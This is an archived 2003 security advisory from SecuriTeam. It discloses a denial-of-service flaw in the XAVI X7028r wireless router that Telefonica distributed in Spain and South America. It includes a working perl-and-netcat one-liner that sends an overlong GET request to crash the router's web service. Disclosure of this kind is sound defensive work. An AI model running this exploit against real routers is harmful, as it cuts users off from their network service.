[NEWS] Denial of Service in XAVI X7028r DSL Wireless Router (Long GET Request)
From: SecuriTeam (support_at_securiteam.com)
Date: 07/23/03
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To: list@securiteam.com Date: 23 Jul 2003 16:39:17 +0200
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Denial of Service in XAVI X7028r DSL Wireless Router (Long GET Request)
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SUMMARY
Telefonica offers to her clients in Spain and South America the
possibility of installing with his ADSL service a wireless router
developed by XAVI. A vulnerability in the product allows remote attackers
to cause the router stop serving legitimate requests by sending it a
specially crafted HTPT GET request.
DETAILS
A LAN user to cause a DoS by sending a malformed HTTP GET request (where
the URL is longer than what the router expects).
Exploit:
perl -e 'print "GET /"."A"x1008;print "\nHost:192.168.1.1:280\n\n\n\n\n"'
| netcat -v -n 192.168.1.1 280
ADDITIONAL INFORMATION
The information has been provided by <mailto:idoru@videosoft.net.uy>
David F. Madrid.
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